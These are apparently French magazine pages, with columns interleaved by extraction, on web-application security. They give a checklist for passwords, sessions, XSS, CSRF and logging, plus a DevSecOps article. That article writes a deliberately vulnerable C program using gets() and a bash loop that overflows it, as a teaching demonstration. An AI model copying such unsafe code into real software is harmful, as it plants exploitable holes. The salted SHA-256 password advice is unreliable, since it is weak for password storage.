Pour ce faire, je propose donc de faire un tour d’horizon des choses
à faire en sécurité des applications WEB avec la création d’une Voici quelques commentaires sur les différents items ci-dessus :
checklist des bonnes pratiques à utiliser dans la conception d’une • Il est naturel que les mots de passes simples ne soient pas utilisables
application. Cette checklist peut être évidemment complétée par pour des applications nécessitant de la sécurité. Un mot de passe
votre propre expérience et être utilisée à chaque développement complexe nécessite des majuscules, des caractères spécifiques
d’un projet. comme le signe Euros, Dollars, une arobase, etc., et des chiffres.
Cette approche permet de limiter les attaques par dictionnaire et
� ID Objet Contrôle de sécurité Checklist bruteforce (https://fr.wikipedia.org/wiki/Attaque_par_dictionnaire).
• Lors de la demande de réinitialisation d’un mot de passe par
1 Utilisation de mot Les mots de passe dépassent-ils 10 Oui/non l’utilisateur, un jeton est-il créé pour que la requête soit utilisée
de passe fort caractères minimum ? une seule fois et non rejouée ? Il est fondamental en sécurité des
Les mots de passe sont-ils complexes ?
applications, qu’une requête utilisateur soit à usage unique et
(majuscules, chiffres, caractères spéciaux)
ainsi éviter les vulnérabilités de type CSRF (cross-site request
2 La réinitialisation Un jeton unique est-il créé pour la Oui/non forgery) dont l’objectif est la création une requête HTTP
des mot de passes réinitialisation? falsifiées, qui, par exemple, permettrait de réinitialiser un mot de
est-elle sécurisée? passe.
3 Le stockage des Les mots de passe sont-ils hachés en Oui/non • Les mots de passes envoyés en base de données utilisent-ils une
mot de passes base de données et salés ? fonction de HASH fiable comme par exemple SHA-256 et non
MD5 ? Une fois les mots de passe hashés, ceux-ci sont-ils
4 Message d’erreur Les messages d’erreurs lors de Oui/non complexifiés avec une fonction de salage ? Personne n’est à l’abri
l’authentification sont-ils génériques afin
d’éviter de données des indices sur la d’une fuite de données, il en arrive chaque semaine et parfois
partie incorrect de l’authentification (login dans des organisations matures en sécurité de l’information. Les
OU mot de passe)? sources de risques sont parfois là où on s’y attend pas. Un
développeur mécontent, un groupe de hackeurs avec de fortes
5 Brute force L’application bloque-t-elle un utilisateur Oui/non
capacités, un salarié corrompu, etc. Il est donc nécessaire de ne
lors d’essais d’authentification excessive ?
pas stocker les mots de passe en clair dans une base de données.

30 //programmez.com
SÉCURITÉ

La question est pourquoi ne pas utiliser seulement des fonctions


ID Objet Contrôle de sécurité Checklist �
de hash mais d’ajouter en plus du salage ? Parce que les
fonctions de hash sont assujetties à des attaques du type rainbow 1 Les identifiants de Les identifiants de session sont-ils chiffrés Oui/non
table (https://fr.wikipedia.org/wiki/Rainbow_table), qui est simplement une sessions et au minimum à 128 bits de longueur ?
base de données géante avec des milliards de chaînes hachées
2 Données person- Les sessions et cookies ne comportent au- Oui/non
et leurs égales en clair. Les mots de passe simples sont
nelles cune données personnelles? (adresse IP
évidemment contenus et identifiés avec ces outils. Le salage
comprise car c’est une exigence CNIL)
permet donc une occurrence moins importante pour ces
attaques. 3 Secure flag L’option secure cookie est-elle mise en Oui/non
• Afin de rendre plus difficiles les attaques par dictionnaire, les place sur le serveur? (HTTPS obligatoires)
messages d’erreur d’authentification sont-ils génériques et donc
ne divulguent aucun indice sur l'authentification ? Il est bien plus 4 HTTPOnly L’option HTTPOnly cookie est-elle mise en Oui/non
difficile pour un hacker de devoir trouver le login et le mot de place sur le serveur?
passe que de se concentrer simplement sur le mot de passe d’un
5 Domaine et cookie Le cookie est-il bien lié à un seul domaine Oui/non
utilisateur. et non des sous-domaines?
• Le blocage d’authentification excessive est très efficace contre les (ex : exemple.com, intranet.exemple.com)
attaques de brute force et dictionnaire. Cette technique est très
utilisée dans le monde des annuaires d’entreprise et des sites 6 Temps de vie de la La session a-t-elle une limite de temps? Et Oui/non
WEB avec des besoins en sécurité forts. session si oui, expire-t-elle après 15,20 minutes
d’inactivité.
2- Management des sessions
La gestion des sessions est un élément indispensable sur les à vos cookies. Voici l’exemple d’un cookie avec l’option secure :
applications. En effet elle permet à un navigateur WEB par exemple de
Set-Cookie: id=esdacademy; Expires=Fry, 04 Oct 2019 04:30:00 GMT; Secure;.
ne pas s'identifier à chaque action et d’avoir une expérience utilisateur
confortable. Cette fonction paraît transparente pour l’utilisateur mais • Tout comme l’option secure, l’option HTTPOnly aide à la sécurisation
demande beaucoup de travail à nos applications. Des faiblesses de du session hijacking (vol de session) dont le principe est de ne
sécurité importantes existent. Même si la plupart des CMS, frameworks pas autoriser JavaScript à accéder aux cookies à l’aide de la
possèdent des gestions de sessions clé en main, il est indispensable de méthode document.cookie et ainsi éviter le vol de cookie via des
contrôler la bonne utilisation de celle-ci. � vulnérabilités de types XSS ou Self-XSS. Il suffit d’ouvrir la
console sur votre navigateur préféré sur un site WEB tel que
Voici quelques commentaires sur les différents items ci-dessus : Facebook et de lancer l’instruction document.cookie. Le cookie
• Chaque session est identifiée par un numéro unique. Ceci afin s’affiche. On pourrait donc imaginer une attaque de social
que les identifiants de session ne soit pas rejoués par un hacker engineering (ingénierie sociale) ou le hacker par ruse obtiendrait
et du coup pour éviter les attaques de type sessions hijacking le cookie par des actions utilisateurs. Ou bien, un email
(https://en.wikipedia.org/wiki/Session_hijacking). De plus, il est important frauduleux contenant un code malveillant ou le cookie serait
que la longueur de celui-ci soit au minimum d’une longueur de absorbé. Tout comme le Flag Secure, HTTPOnly se configure via
128 bits afin que les attaques de brute force sur les identifiants votre serveur WEB :
de sessions deviennent plus difficiles.
Set-Cookie: id=esdacademy; Expires=Fry, 04 Oct 2019 04:30:00 GMT; Secure; HttpOnly;.
• Il est important de se protéger des cybercriminels mais
également de respecter la loi et plus particulièrement les • Une application bien durcie, c’est également une application
données à caractère personnel de nos utilisateurs. À savoir utilisant le cloisonnement et la bonne utilisation des domaines et
qu’une adresse IP est également une donnée à caractère sous-domaines. Il y a souvent le cas où des hackers ne peuvent
personnel selon la CNIL (Commission nationale de l'informatique pas passer par la porte et vont donc chercher à passer par la
et des libertés) et évidemment le RGPD (Règlement général sur fenêtre. Il est important de séparer les sessions via différents
la protection des données) dont tout le monde parle ces derniers domaines. Si des besoins dits “cross domaines” sont nécessaires
temps. Il est donc indispensable de pouvoir protéger nos à l’application, des méthodes d’authentification unique SSO
utilisateurs en n'exposant aucune donnée personnelle via les (Single Sign-On) peuvent être une solution.
sessions, cookies, local storage accessibles à tous. • Il arrive très souvent de voir des sites WEB, voire même les plus
• Il existe une protection contre le vol de cookies et donc de session visités au monde, qui ont un délai d'expiration des sessions qui
à travers un réseau HTTP nommé Secure flag permettant de forcer dépasse plusieurs jours. Alors pourquoi les sites WEB dits les plus
le processus d’échange de cookies entre un client et un serveur sécurisés, laissent-ils des sessions dépasser plusieurs jours ? Tout
WEB via un canal chiffré, type HTTPS. De ce fait, il est moins simplement la fameuse "User Experience". Une application WEB
risqué pour un utilisateur de se faire voler une session lors d’une est bien plus confortable sans un besoin de se reconnecter à
attaque MITM (Man In The Middle, https://fr.wikipedia.org/wiki/Attaque celle-ci continuellement. Le choix est délicat, à vous de bien
_de_l%27homme_du_milieu). Pour intégrer cette fonction, il suffit prendre en compte la balance entre les besoins de sécurité de
d’indiquer dans les en-têtes des échanges HTTP l’option secure votre application et le confort utilisateur.

programmez.com// 31
SÉCURITÉ

3 - Contrôle d’accès
Après l’authentification, il est naturel de parler des contrôles
4 - Validation des entrées
Dans le monde de la SSI (sécurité des systèmes d’information), il
d’accès qui sont la suite du processus de navigation d’un utilisateur se dit souvent “zéro confiance aux utilisateurs”. Cette boutade n’a
sur une application. Cela peut paraître étonnant, mais il arrive rien de péjoratif. Elle indique plutôt que nous ne pouvons pas savoir
souvent dans nos missions de type test d’intrusion à l’ESD qui se trouve derrière l’écran. Un simple utilisateur, une personne
academy, de voir des brèches liées à la mauvaise configuration des malveillante voire même un utilisateur maladroit. À titre d’exemple,
contrôles d’accès, où un utilisateur avec peu de droits accède à des des milliers de sites WEB se sont retrouvés bloqués chez l'hébergeur
fonctionnalités non autorisées. Cloudflare en juillet dernier, à cause d’une expression régulière
Les contrôles d’accès ne sont pas simples à gérer, il suffit d’ouvrir inattendue provoquant le chargement CPU à 100% des serveurs.
le back-office d’un CMS, et de s’apercevoir que chaque module et Alors quels sont les types d’entrées qui pourraient compromettre
fonction à des droits à spécifier et qu’il suffit d’une mauvaise case nos applications ? Elles ne sont pas toutes répertoriées, mais les
cochée pour donner un pouvoir à un simple utilisateur. � vulnérabilités injectant du code malveillant sont courantes et bien
prolifiques. Le Cross Site Scripting (XSS), injection SQL(SQLI),
Voici quelques commentaires sur les différents items ci-dessus : Cross Site Request Forgery (CSRF) sont des vulnérabilités
• Une revue des droits est un exercice vieux comme le monde. d’injection dans les TOP 10 des risques les plus prévalents selon
Beaucoup d’entreprises matures en sécurité de l’information font l’OWASP (https://www.owasp.org/index.php/Top_10-2017_Top_10). Il est
régulièrement une revue des droits sur leurs annuaires, ERP, donc indispensable de se protéger de toute entrée sur nos
applications en tous genres. Ceci n’est pas mince à faire, mais applications. �
obligatoire pour une sécurité accrue. Un fichier Excel avec une
colonne fonctionnalité et une autre “droit”, peut-être un bon début. Voici quelques commentaires sur les différents items ci-dessus :
• Afin de vérifier la sécurité de ses applications, un audit peut-être • Il est nécessaire d’utiliser la désinfection (sanitization) dont le rôle
fait sans oublier la gestion des droits évidemment. Des outils tels est de contrôler, d'enlever tout caractère spécifique qui pourrait
que Burp suite font très bien l’affaire et permettent de faire ce compromettre nos applications telles que les quotes, chevrons,
travail en masse. Voici un exemple de prise en main de cet outil : pourcentages, etc. Cette méthode doit être appliquée à toutes les
https://www.youtube.com/watch?v=-gCEl6UrjUw entrées possibles, que ce soit d’un simple formulaire à un user
Il est possible également d’ouvrir plusieurs sessions sur une agent. La plupart des frameworks et CMS désinfecte (sanitize) les
application avec des utilisateurs ayant des droits faibles et entrées. Dans ce cas il est important de vérifier son bon
d’essayer d'accéder à des parties sensibles de l’application. fonctionnement. Il arrive encore parfois de voir que les plus
grands comme Wordpress ont laissé une vulnérabilité permettant
� ID Objet Contrôle de sécurité Checklist à un hacker d'injecter du code JavaScript malveillant (XSS
1 Liste des rôles La liste des rôles et des droits est-elle bien Oui/non stockée) sur le système de commentaire du CMS.
claire et documentée pour l’application? • La taille des entrées doit être également contrôlée, car des
vulnérabilités par débordement sont possibles. Elles laissent dans
2 Des tests de pénétration ont-ils été effec- Oui/non ce cas des problèmes de disponibilités des applications, voire
tués pour vérifier le contournement de la entraînent sa panne.
segmentation des droits suivant les rôles? • Comme vu sur le premier point, toutes les entrées doivent être
vérifiées, il ne faut donc pas oublier les entrées de nos modules,
� ID Objet Contrôle de sécurité Checklist plugins, frameworks. Des tests ou un audit de code est
indispensable pour l’utilisation de fonctionnalités extérieures
1 Périmètre des Toutes entrées utilisées par le serveur ou Oui/non intégrées à une application. Pour aller plus loin, lire une
entrées le code sont-elles contrôlées, nettoyées,
documentation complète de l’OWASP à ce sujet : https://cheatsheet-
telles les variables; variables liées au
series.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
réseau, cookie, id de session, user agent,
données des en-têtes HTTP en globalité,
champs cachés 5 - Validation des entrées
Les entrées étant vérifiées et contrôlées, qu'en est-il des sorties ?
2 Taille des entrées La taille des entrées est-elle contrôlée? Oui/non Effectivement, il est possible parfois que l’utilisateur ait besoin
d’entrées des chaînes spécifiques comme le cas des Wysiwyg avec
3 Contenu riche, Les contenus riches tels les Wysiwyg sont- Oui/non
module, plugin, ils bien contrôlés avec des frameworks du HTML. Dans ce cas, les sorties doivent être contrôlées pour
framework spécifiques? (HTML Purifer, AntiSamy, avoir le résultat demandé par l’application et rien de plus. �
Bleach, etc.)
Voici quelques commentaires sur les différents items ci-dessus :
� ID Objet Contrôle de sécurité Checklist • Les vulnérabilités XSS (injection de Javascript) sont les plus
prévalentes sur le WEB, il est important de les vérifier en entrée
1 Se prévenir des Les entrées utilisateurs sont-elles encodées Oui/non mais également en sortie. Surtout dans le cas où des caractères
XSS pour ne pas pouvoir utiliser du JavaScript spécifiques peuvent être tolérés dans une application pour des
ou HTML? (fonction d’encodage) besoins métiers. Encore une fois, la plupart des frameworks, CMS

32 //programmez.com
SÉCURITÉ

actuels utilisent par défaut des méthodes de nettoyage de sorties. ID Objet Contrôle de sécurité Checklist �
Chaque langage a ses propres particularités, des fonctions du
navigateur permettent également de stopper les XSS, voici une 1 Content-type Le contrôle des types et extensions Oui/non
documentation pour approfondir le sujet : https://www.owasp.org/index. (content-type) des fichiers envoyés au
serveur sont-ils contrôlés ?
php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

6 - upload de fichiers
Parmi les entrées vues ci-dessus, je vous propose un focus sur les
2 Renommer les
fichiers
Les fichiers changent-ils de nom une fois
stockés sur le serveur ?
Oui/non

uploads qui peuvent devenir des vulnérabilités importantes si les 3 Stocker le fichier Les fichiers envoyés sont-ils stockés dans Oui/non
bonnes pratiques suivantes ne sont pas établies. Sachez que si vous un répertoire non-connu des utilisateurs ?
utilisez un framework, un CMS, dont les modules sont vérifiés, vous
4 Contrôle des droits La gestion des droits sur les fichiers et des Oui/non
limitez énormément les risques à ce sujet. �
répertoires est-il à son minimum
nécessaire ?
Voici quelques commentaires sur les différents items ci-dessus :
• Il est bien de vérifier le type de contenu même si cette méthode
ID Objet Contrôle de sécurité Checklist �
peut être contournée par un hacker. “Qui peut le plus, peut le
moins”. 1 Echappement des L'échappement des entrées est-il effectué Oui/non
• Renommer le fichier permet d'éviter à un hacker d’essayer de le entrées avant l’entrée en base de données, DOM,
retrouver sur le serveur qui l'héberge. JavaScript, JSON, CSS?
• Pareil que pour le point précédent, il est préférable d’héberger les
fichiers dans un répertoire méconnu de l’utilisateur. 2 Content Security La Content Security Policy est-elle mise en Oui/non
• La gestion des droits (CHMOD) doit prendre le minimum. Policy place avec une whitelist des sources de
confiance?
7- Cross Site Scripting
C’est encore lui, le fameux XSS vu précédemment. Cette �
ID Objet Contrôle de sécurité Checklist
vulnérabilité est très présente lors de nos tests d’intrusion WEB et
très sous-estimée. 1 Token unique Un système de jeton chiffré est-il Oui/non
Une vulnérabilité XSS permettrait une attaque par hameçonnage chiffré incorporé dans le cheminement de
l’envoi d’un formulaire?
parfait. Vous pouvez imaginer d'avoir durci vos systèmes avec un
beau HTTPS sur votre navigateur. Et pourtant, une vulnérabilité 2 Captcha Un système de Captcha est-il proposé Oui/non
XSS pourrait changer le contenu du site et voler les identifiants des pour les formulaires avec des données
utilisateurs d’un site WEB sans difficulté. Alors voici, quelques plus sensibles?
pour se sécuriser des XSS : �
imaginer qu’une requête client ou bien serveur doit toujours avoir
Voici quelques commentaires sur les différents points ci-dessus : un point de départ. En effet, un hacker ou un pentester va essayer
• je le répète, nettoyer les entrées ! d’injecter de la donnée ou rejouer des requêtes dans tous les sens.
• La CSP (Content Security Policy) permet le filtrage en liste blanche Comme par exemple une requête permettant de changer un mot
(Whitelist) des domaines. Seuls les scripts JavaScript, CSS, de passe. Il est donc tout à fait normal que celle-ci soit attachée à
frames, images, etc., provenant des domaines ayant été un token (jeton) qui a été généré sur la page WEB du formulaire de
configurés sur la Content Security Policy pourront être insérés réinitialisation. Une captcha peut-être très efficace mais peut
dans la page WEB, ce qui protège toute insertion ou injection de facilement détériorer l'expérience utilisateur. �
données malveillantes. Cela rend la tâche plus difficile à un
hacker qui voudrait injecter un lien JavaScript hébergé sur un
autre serveur. À savoir que la CSP permet également d’interdire
9- Clickjacking
Les techniques de détournements de clic, ce que l'on appelle le
le JavaScript de type inline. Grosso modo, il devient impossible de Clickjacking, permettent de détourner du trafic utilisateur en le
placer des instructions dans le code, même d’une page. Ces deux forçant à cliquer sur une iframe invisible superposée à un élément
techniques bien que mal connues sont pourtant très efficaces, d’un site WEB. La plus récente attaque de ce type est le likejacking
voici un exemple à placer dans les entêtes HTTPS : visant à insérer une iframe invisible dans un site web afin que
l’utilisateur clique dessus pour partager du contenu sur Facebook
Content-Security-Policy: default-src 'self';
ou liker une page afin de générer du trafic.
Voici deux points dont la fonction permet d’éviter ces attaques : �
8 - Cross Site Request Forgery
Ayant fait un tour sur cette vulnérabilité lors du point 1, pour la Voici quelques commentaires sur les différents items ci-dessus :
réinitialisation des mots de passe. Le CSRF est bien plus que ça, il • Encore une fois, la CSP intervient. Celle-ci par sa nature permet
appartient au Hall of fame des vulnérabilités WEB les plus de limiter les vulnérabilités de type Clickjacking.
présentes ces dernières années. Pour s’en protéger, il faut toujours • X-Frame-Options et une fonction du navigateur dont le but même est

programmez.com// 33
SÉCURITÉ

� d’interdire les frames superposées sur les unes sur les autres.
ID Objet Contrôle de sécurité Checklist Celle-ci s'intègre comme la CSP, dans les entêtes HTTP.
1 Content Security
Policy
La Content Security Policy est-elle mise en
place avec une whitelist des sources de
Oui/non
10 - Enregistrer les évènements
Eh oui, c’est une des premières choses que l’on enseigne dans
confiance afin d'éviter toute injection de
frame de source de non-confiance? notre mastère ESD academy. Logs, logs et logs ! Ceux-ci ne sont
(attention à la version des navigateurs pas utilisés seulement pour déboguer mais également pour laisser
supportés) des traces qui pourraient être intéressantes en cas d’une réponse à
incident. Si votre application WEB semble corrompue, piratée, il est
bon de pouvoir trouver par où le hacker est passé. À savoir, il y a
2 X-frame-options Si la CSP (Content Security Policy) n’est Oui/non deux fondamentaux dans la gestion des logs : Enregistrer les
pas mise en place, les X-Frame-options évènements et les configurer pour être le moins verbeux possible
sont-elles configurées?
aux utilisateurs pour éviter de donner des informations sensibles à
des personnes malveillantes. ��
Voici un checklist que vous pouvez préparer, alimenter et insérer
�� ID Objet Contrôle de sécurité Checklist
dans votre cycle de développement, si ce n’est pas déjà le cas. Le
but est de pouvoir s’adapter à son contexte métier sans mettre de
1 Évènements liés au Les évènements (logs) liés aux échecs Oui/non côté l’expérience utilisateur et les besoins de l’application. C’est en
serveur d'authentification, aux erreurs de requêtes cela que la sécurité des systèmes d’information, et également des
HTTP et aux échecs de session sont-ils applications, prend son sens. Savoir balancer et mesurer entre les
enregistrés? besoins business et les besoins de sécurité. J’ai dit ! •

2 Évènements liés au Les évènements liés au code lors des Oui/non ESD academy
code erreurs produites (flaw, bug) sont-ils (https://esdacademy.eu)
enregistrés?
Fondée en 2015, l'ESD academy a pour mission d'apporter des
3 Évènements Les évènements, en général, sont-ils Oui/non formations, des certifications et un mastère en cybersécurité
régulièrement consultés? pour les organisations francophones et européennes.
Notre objectif est clairement identifié, concurrencer les acteurs
étrangers dans la formation et la reconnaissance en sécurité
4 Attaque Lors d’une attaque cybercriminelle, est-on Oui/non
des systèmes d'information. Pour y arriver nous regroupons
capable de réagir avec l’aide des
autour d'un label, des experts du domaine (étatiques et privés)
évènements?
pour de la création de contenu et l'enseignement.

1 an de Programmez! ABONNEMENT PDF : 35 €

Abonnez-vous
sur :
www.programmez.com
34 //programmez.com
J-F BAILLETTE
Je suis ingénieur informaticien et SÉCURITÉ
roboticien et passionné d’informatique.
fondateur de www.g-echo.fr
G-Echo

A journey to DevSecOps : n’oublions pas le code !


Il y a longtemps, j’ai appris des langages disparus comme le Z80, My entry: AAAAAAAAAAAAAAAAAAAAA
6509, 68000 … et d’autres langages moins utilisés de nos jours Erreur de segmentation
tels que Pascal, C, ADA, Lisp…
On pratiquait différentes “bidouilles” permettant de “modifier” le Et voilà… vous venez de réaliser votre premier débordement de
comportement d’un programme : tampon (un grand classique de la vulnérabilité, NDLR) !
• en passant par le code assembleur pour modifier l’exécutable, Pour autant, vous n’avez pas encore l’exploit qui vous mènera à
• en injectant les données adaptées dans la zone mémoire adaptée, abuser l’application, mais vous avez déjà réalisé une bonne partie
• en utilisant les langages “natifs” (du basic par exemple) pour du chemin : vous avez découvert votre premier 0-day !
faire un POKE… Est-ce que le développeur avait lu les warnings à la compilation ?
Ce que l’on vous apprenait “en premier” à école d’ingénieur ? Ne pas utiliser gets, utiliser plutôt fgets(myentry, sizeof(myentry), stdin); pour
Faire une trace réseau pour “voir” ce qui se passait ou encore se être sûr de ne pas déborder. Les réflexes que le développeur doit
connecter sur le port 25 d’un serveur de messagerie pour faire des avoir ! La plupart du temps, l’exploitation de failles est possible
farces aux autres élèves. avec un minimum d’intuition et des outils plus ou moins automati-
Aujourd’hui les outils du marché et les outils open source sont très sés permettant l’exploration et l’exploitation de ces failles, qu’il
nombreux et permettent de contrôler le niveau de sécurité de votre s’agisse de librairies, d’exécutables, d’applications Web côté client
application avant sa mise en production. ou serveur, d’APIs, de protocoles…
Avec cet article, je vous propose quelques réflexions sur la mise en A faire pour vos prochains développements :
place de bonnes pratiques liées au SecDevOps : • Lire les warnings présentés par vos outils de compilation (dans
• Comprendre les problèmes de cybersécurité, notre exemple test.c:(.text+0x15): avertissement : the 'gets' function is dangerous
• Structurer la démarche (processus de développement et outils), and should not be used.),
• S’intégrer à la gouvernance de sécurité de l’entreprise (gestion • Avoir des règles de codage et vérifier qu’elles sont bien appli-
des risques, procedures, bonnes pratiques, règles d’accès). quées (relectures croisées de code source),
Pour commencer, je vous propose d’écrire ensemble un exploit… en bash! • Réaliser des tests unitaires, d’intégration et de validation cou-
vrant plus que les cas aux limites,
Étape 1: un exploit en bash ? • Gérer et capitaliser par des tests de non-régression, correction de
À l’origine de l’informatique (et aujourd’hui encore…) : vos vulnérabilités,
• Réaliser des analyses statiques de code (SCA) et/ou du fuzzing
#include "stdio.h"
pour rechercher des failles qui auraient échappé à votre vigilance,
• Mettre en oeuvre des programmes de test d’intrusion ou de bug bounty.
void liremonentree (void)
Quelques références:
{
• DevSecOps manifesto (https://www.devsecops.org) ou comment devenir
char monentree [12];
un security champion avec le devsecops (http://devsecops.github.io) .
gets (monentree);
• OWASP Top 10 pour les applications Web :
printf ("Mon entrée: %s\n", monentree);
https://www.owasp.org/index.php/GPC_Project_Details/OWASP_Top10
}
• “The shellcoder’s handbook”, chez Wiley Publishing Inc si vous
souhaitez en savoir plus sur l’écriture d’exploit,
int main (void)
• “À Bug Hunter's Diary” de Tobias Klein.
{
Prenez également connaissance du référentiel ASVS de l’OWASP
liremonentree ();
(https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verifica
return (0);
tion_Standard_Project) qui donne une liste très complète d’exigences
}
en matière de sécurité des développements logiciels.
Vous pouvez compiler ce code avec gcc : gcc test.c -o test. Puis tester Vous pourrez mettre en place vos propres exigences de sécurité
le comportement en bash avec la commande : basées sur ce référentiel.

mystring="AAAAAAAAAAAAAAAAAAAAAAAA" && i=12 && while ((i <= 22)); do TOINJECT


=${mystring:0:i}; echo $i $TOINJECT; echo $TOINJECT|./test; let "i+=1"; done. DÉMARCHES OUTILLÉES
À partir de la 21e itération, vous verrez apparaître une erreur de POUR LES DÉVELOPPEURS
segmentation qui signale un écrasement du pointeur de retour En plus des aspects juridiques, organisationnels, infrastructure et
dans la pile et la présence d’une vulnérabilité exploitable : réseaux, en tant qu’intégrateur d’outils de sécurité du code, je pré-
conise à mes clients les 3 démarches suivantes : SAST, DAST, RASP
21 AAAAAAAAAAAAAAAAAAAAA et de mettre en place un suivi coordonné des vulnérabilités.

programmez.com// 35
SÉCURITÉ

SAST: analyse statique de code Gestion des vulnérabilités


C’est la démarche la plus simple et la plus accessible. On peut faire SCA, DAST/IAST, RASP sont indispensables, mais ne sont rien sans
le parallèle avec les tests unitaires ou d’intégration. La démarche une gestion coordonnée des vulnérabilités. Il est nécessaire de
est entièrement automatisée, une fois que le paramétrage initial est mettre en place une gestion centralisée des vulnérabilités de vos
effectué. développements que l’ensemble des équipes et collaborateurs de la
Que l’on utilise la ligne de commande ou qu’on intègre des outils chaîne partageront.
dans une chaîne d’intégration continue, la logique est la même.
Par exemple avec un analyseur bien connu, on parse le code et on
génère un fichier de résultats qu’on exploite ensuite avec un outil
de visualisation :

sourceanalyzer -b sample-js -scan -f sample-js.fpr


auditworkbench sample-js.fpr

Processus - SDLC
On entend souvent: “La cybersécurité, ce n’est pas compliqué,
c’est un processus, pas des outils”. Microsoft propose un processus
complet de développement sécurisé, le SDLC (Security
Development Lifecycle) et a poussé la norme ISO 27034 qui
intègre ce SDLC.
DAST: analyse dynamique de l’application Le principe global est simple : intégrer le développement, la sécu-
Le DAST (Dynamic, Application Security Testing) consiste à stresser rité et les opérations dans une boucle de rétroaction visant à assu-
l’application avec des patterns ou techniques connues de façon à rer la sécurité des développements.
tester sa résistance à des attaques que l’on peut rencontrer dans la
vraie vie.
La démarche s’apparente à des tests de validation ou des tests de
Q/A et de charges. L’analyste apporte une vraie valeur ajoutée pour
affiner les types d’attaques proposées par les outils. En mode agile, la représentation du processus revient à un ruban
de Möbius que vous connaissez sans doute déjà et qui permet de
bien figurer la dynamique :

En synthèse
Si vous intégrez SCA, DAST/SAST, RASP et la gestion des vulnéra-
bilités, vous obtenez un cycle de gestion de vos vulnérabilités qui
peut ressembler à celui de la suite Micro Focus :
RASP: analyse runtime des attaques
Le RASP est une sorte de WAF (Web App Firewall) applicatif qui va
protéger vos applications en temps réel et tracer les menaces
détectées. En étant beaucoup plus intégré à votre application, le
RASP va en profondeur et couvre des besoins plus larges.

36
SÉCURITÉ

Partir de l’analyse de risques développements. Dans son livret, l’ANSSI propose un exemple
Vous ne ferez pas une application “safe” sans comprendre à la fois Le.Taxi qui explique en particulier l’analyse de risques : il s’agit de
l’environnement dans lequel vous la développez et l’environnement noter entre 1 et 3 dans cet exemple (3 étant le plus important) le
d’exécution en production. besoin de sécurité d’un user story. On décline ce besoin sur les axes
Afin de bien comprendre les risques, vous pouvez avoir une de la sécurité: DICP.
démarche top down, qui ne part pas des outils ou du code, mais de
la vue “business” et du couple risque/impact lié au mésusage pos-
sible par un tiers qui tirerait profit du système d’information que
vous développez.
De nombreux référentiels existent pour faire un état de la menace
sur les entreprises. Les normes ISO 27001 et ISO 27005 permet-
tent de mettre en place un processus “qualité” et de mener des
analyses de risques sur la sécurité de l’information. L’approche
GDPR renforce la mise en place de mesures de sécurité en deman-
dant de gérer également le risque et l’impact du vol de données © ANSSI
personnelles.
Il est devenu vital d’intégrer des démarches de mesure du risque Besoins en :
dans les projets et de mise en place de contre-mesures adaptées • Disponibilité : qu’est-ce qui se passe si le user story ne peut pas
dans votre code pour répondre à des exigences de haut niveau. se dérouler ? C’est un peu (1) ou très (3) important ?
L’ANSSI a publié un guide pour le développement agile. • Intégrité : on peut modifier des données du user story à “l’insu
Comme je m’adresse à des développeurs, évoquons des questions techniques : de mon plein gré” ?
• Qu’est-ce qui se passe si je vole la session d’un de vos clients ? • Confidentialité : quelqu’un qui n’a pas le droit d’accéder aux
• Que puis-je faire si j’usurpe l’identité d’un équipement CAN de données s’en empare… quel impact ?
votre réseau automobile ? • Preuve/Trace : s’il y a un problème, quel type de traces permettra
• Est-ce que je peux lire (et modifier) des flux si je me trouve en à un enquêteur d’investiguer ou même que votre trace devienne
interception (man in the middle) ? opposable en justice ?
• Est-ce que je peux avoir accès à votre base de données à travers Nous vous conseillons de rajouter vos abuser stories dans le back-
un appel API ? log et d’écrire des tests permettant de valider la pertinence des
• Qu’est-ce que je peux voler dans le stockage ou le cache de votre contre-mesures. Lorsque vos tests sont OK dans votre CI/CD ; vous
navigateur qui me permettrait de répondre aux questions précé- serez prêts pour l’homologation et sans doute être aligné avec la
dentes ? politique de sécurité de l’entreprise.
Des questions se posent également au niveau de votre entreprise:
• Votre PDG et votre RSSI risquent-ils d’être légalement inquiétés ? Référence :
• La société devra-t-elle être exposée sur la place publique et payer Guide ANSSI/DISINC pour le DevSec en mode agile :
3% de son CA en amendes ? https://www.ssi.gouv.fr/administration/guide/agilite-et-securite-numeriques-metho-
• Est-ce que les données de l’entreprise ou les données des clients de-et-outils-a-lusage-des-equipes-projet/
se retrouveront sur le darknet ou chez un concurrent ? OWASP Software Assurance Maturity Model :
• Est-ce que les clients peuvent avoir confiance dans nos services, https://www.opensamm.org et https://owaspsamm.org/v2.0b/introduction/
dans le futur ?
Je crois que c’est de notre responsabilité en tant que développeurs Conclusion
de trouver des réponses à ces questions. Ou au moins de proposer Choisissez le référentiel que vous souhaitez:
des solutions. OWASP, ANSSI, NIST, ISO27014, … et
Des équipements, comme les WAF, sont là pour vous protéger implémentez une démarche d’amélio-
certes, mais le premier rempart reste le code. Il faut le livrer régu- ration continue. Vous découvrirez
lièrement avec une qualité totale, une sécurité adaptée, même tous les jours de nouvelles
sous la pression de délivrer ASAP la nouvelle killer feature. méthodes d’exploitation, de nou-
À vous de faire en sorte que votre application résiste à la menace velles vulnérabilités, de nouveaux
en gérant des “Abuser stories”. exploits. A vous de les prendre en
compte dans les développements.
En tant que développeur, vous vous
inscrivez dans une chaîne de valeurs
dans laquelle d’une part la réglemen-
ABUSER STORIES tation se durcit, d’autre part le nombre
et la force des attaquants potentiels ne
En parallèle aux sprints agiles que vous menez habituellement, cessent de croître. Et vous, vous en êtes où
demandez-vous comment un attaquant pourrait abuser de vos dans votre DevSecOps maturity model ?

37
Best Practice : Comment organiser et assurer
la sécurité de ses projets de développement ?
La sécurité et plus particulièrement la cybersécurité est de plus en plus au cœur de l’actualité. Les différents projets de déve-
loppement n’échappent pas à la règle et nécessitent eux aussi l’intégration d’une équipe dédiée aux problématiques de
sécurité. Josselin Mignerey, chercheur en Cybersécurité chez WALLIX retrace avec nous les différentes phases et les rôles de
l’équipe sécurité au sein d’un projet de développement en adoptant une démarche « Security By Design ».

Une intégration puie) doit être conservé pour le suivi par leur numéro de « Common Vulne- peut être mis en place par l’équipe de
en amont des mises à jour de sécurité. Enfin, à rabilities & Exposures - CVE » sur les développement avec l’accompagne-
Lors de la phase de spécification, la cette étape, un processus de tests de composants) ou privées (résultats ment de l’équipe Sécurité qui sera, dès
description des fonctions et des interac- sécurité automatiques ou manuels d’audits et tests d’intrusions transmis lors l’interlocuteur privilégié des interac-
tions au sein du projet, l’équipe sécurité peut être intégré aux tests fonctionnels par les clients ou réalisés en interne) à tions avec l’organisme responsable de
